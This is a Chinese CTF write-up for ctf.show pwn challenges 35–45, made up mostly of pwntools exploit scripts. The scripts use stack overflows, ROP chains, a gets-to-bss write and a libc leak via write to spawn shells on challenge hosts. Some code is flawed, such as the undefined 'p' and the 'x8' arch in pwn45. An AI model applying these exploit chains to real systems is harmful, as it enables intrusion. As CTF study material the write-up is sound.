pwn35
strcpy函数没有长度限制,可以产生栈溢出
cyclic
足够长度数据直接打
pwn36
gets函数无长度限制,可以栈溢出
这边需要让get_flag函数执行
1 2 3 4 5 6 7 8 9 10 11 12
| from pwn import * context(log_level='debug',arch='i386',os='linux')
io=remote("pwn.challenge.ctf.show",28105) get_flag_addr=0x8048586 offset=0x28+0x4 payload=offset*b'a'+p32(get_flag_addr)
io.sendline(payload)
io.interactive()
|
pwn37
与上题相似
1 2 3 4 5 6 7 8 9 10 11 12 13
| from pwn import * context(log_level='debug',arch='i386',os='linux') elf=ELF('pwn')
io=remote("pwn.challenge.ctf.show",28274) backdoor=elf.sym['backdoor'] offset=0x12+0x4 payload=offset*b'a'+p32(backdoor)
io.sendline(payload) io.recv() io.interactive()
|
pwn38
0xA+0x8,64位平衡堆栈
1
| ROPgadget --binary pwn --only "ret"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(log_level='debug',arch='amd64',os='linux') elf=ELF('pwn')
io=remote("pwn.challenge.ctf.show",28278) backdoor=elf.sym['backdoor'] offset=0xA+0x8 ret=0x400287 payload=offset*b'a'+p64(ret)+p64(backdoor)
io.sendline(payload) io.recv() io.interactive()
|
pwn39
存在后门函数,但是/bin/sh
没在system
里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context(log_level='debug',arch='i386',os='linux') elf=ELF('pwn')
io=remote("pwn.challenge.ctf.show",28274) system=elf.sym['system'] offset=0x12+0x4 binsh=0x8048750 payload=offset*b'a'+p32(system)+p32(0)+p32(binsh)
io.sendline(payload) io.recv() io.interactive()
|
pwn40
64位和32位不同,参数不是直接放在栈上,而是优先放在寄存器rdi,rsi,rdx,rcx,r8,r9。这几个寄存器放不下时才会考虑栈。
64位汇编传参,当参数少于7个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。 当参数为7个以上时,前 6 个与前面一样, 但后面的依次从 “右向左” 放入栈中,即和32位汇编一样。
1
| ROPgadget --binary pwn --only 'pop|ret' | grep rdi
|
1
| ROPgadget --binary pwn --only 'ret'
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import * context(log_level='debug',arch='amd64',os='linux') elf=ELF('pwn')
io=remote("pwn.challenge.ctf.show",28207) system=elf.sym['system']
offset=0xA+0x8 binsh=0x400808 rdi_addr=0x00000000004007e3 ret_addr=0x00000000004004fe payload=offset*b'a'+p64(rdi_addr)+p64(binsh)+p64(ret_addr)+p64(system)
io.sendline(payload) io.recv() io.interactive()
|
pwn41
没有/bin/sh
,用sh
代替
system(“/bin/sh”) :
在Linux和类Unix系统中,/bin/sh 通常是一个符号链接,指向系统默认的shell程序(如Bash或Shell)。因此,使用 system(“/bin/sh”) 会启动指定的shell程序,并在新的子进程中执行。
这种方式可以确保使用系统默认的shell程序执行命令,因为 /bin/sh 链接通常指向默认shell的可执行文件。
system(“sh”) :
使用 system(“sh”) 会直接启动一个名为 sh 的shell程序,并在新的子进程中执行。 这种方式假设系统的环境变量 $PATH 已经配置了能够找到 sh 可执行文件的路径,否则可能会导致找不到 sh 而执行失败。
总结来说, system("/bin/sh")
是直接指定了系统默认的shell程序路径来执行命令,而system("sh")
则依赖系统的环境变量$PATH
来查找sh
可执行文件并执行。如果系统的环境变量设置正确,这两种方式是等效的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| from pwn import * context(log_level='debug',arch='i386',os='linux') elf=ELF('pwn')
io=remote("pwn.challenge.ctf.show",28187) system=elf.sym['system'] offset=0x12+0x4 sh_addr=0x80487ba payload=offset*b'a'+p32(system)+p32(0)+p32(sh_addr)
io.sendline(payload) io.recv() io.interactive()
|
pwn42
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(log_level='debug',arch='amd64',os='linux') elf=ELF('pwn')
io=remote("pwn.challenge.ctf.show",28248) system=elf.sym['system']
offset=0xA+0x8 binsh=0x400872 rdi_addr=0x0000000000400843 ret_addr=0x000000000040053e payload=offset*b'a'+p64(rdi_addr)+p64(binsh)+p64(ret_addr)+p64(system)
io.sendline(payload) io.recv() io.interactive()
|
pwn43
无/bin/sh
,考虑劫持gets函数然后人为写入
直接查看可写的段
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| from pwn import * context(log_level='debug',arch='i386',os='linux')
io=process("./pwn") elf=ELF("./pwn") libc=elf.libc
gets_plt=elf.plt[b"gets"] sys_addr=elf.plt[b"system"]
bss_addr=0x804b800
payload=cyclic(0x6c+4)+p32(gets_plt)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr) io.sendline(payload) io.sendline(b"sh;") io.interactive()
|
栈溢出后劫持gets函数,调用system函数,第一个bss_addr作为gets的参数传入写入栈上,第二个bss_addr作为system的参数传入
pwn44
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| from pwn import * context(log_level='debug',arch='amd64',os='linux')
io=process("./pwn") elf=ELF("./pwn")
gets_plt=elf.plt[b"gets"] sys=elf.plt[b"system"] pop_rdi=0x00000000004007f3 buf=0x603000-20 ret=0x00000000004004fe payload=cyclic(0xA+8)+p64(pop_rdi)+p64(buf)+p64(ret)+p64(gets_plt)+p64(pop_rdi)+p64(buf)+p64(ret)+p64(sys)
io.sendline(payload) io.sendline(b"sh;") io.recv() io.interactive()
|
1.利用 pop_rdi 指令将 buf2 的地址加载到rdi寄存器中,因为在调用gets函数之前,你需要将输入的缓冲区的地址(即buf2的地址)传递给gets函数,以便gets函数知道将输入数据存储在哪个缓冲区中
2.调用 gets 函数,以 buf2 的地址作为参数,从用户输入中读取数据,并将其存储在buf2中
3.再次利用 pop_rdi 指令将 buf2 的地址加载到rdi 寄存器中
4.调用 system 函数,以 buf2 的地址作为参数
pwn45
无system
无/bin/sh
,存在write函数和puts函数,可以作为泄露libc的泄露函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * from LibcSearcher import * context(log_level='debug',arch='x8',os='linux')
elf = ELF("./pwn") offset = 0x6B + 0x4 main_addr = elf.symbols['main'] write_plt = elf.plt['write'] write_got = elf.got['write'] payload = offset * b'a' + p32(write_plt) + p32(main_addr) + p32(0) + p32(write_got)+p32(4) p.sendline(payload)
write_addr = u32(p.recv(4)) print(hex(write_addr))
libc = LibcSearcher("write", write_addr) libc_base = write_addr - libc.dump("write") system_addr = libc_base + libc.dump("system") binsh_addr = libc_base + libc.dump("str_bin_sh") payload = offset * b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr) p.sendline(payload) p.interactive()
|
write函数的地址 + 预留返回地址 + write函数的三个参数 (1 + write函数的真正地址(got表内的地址) + 打印的字节)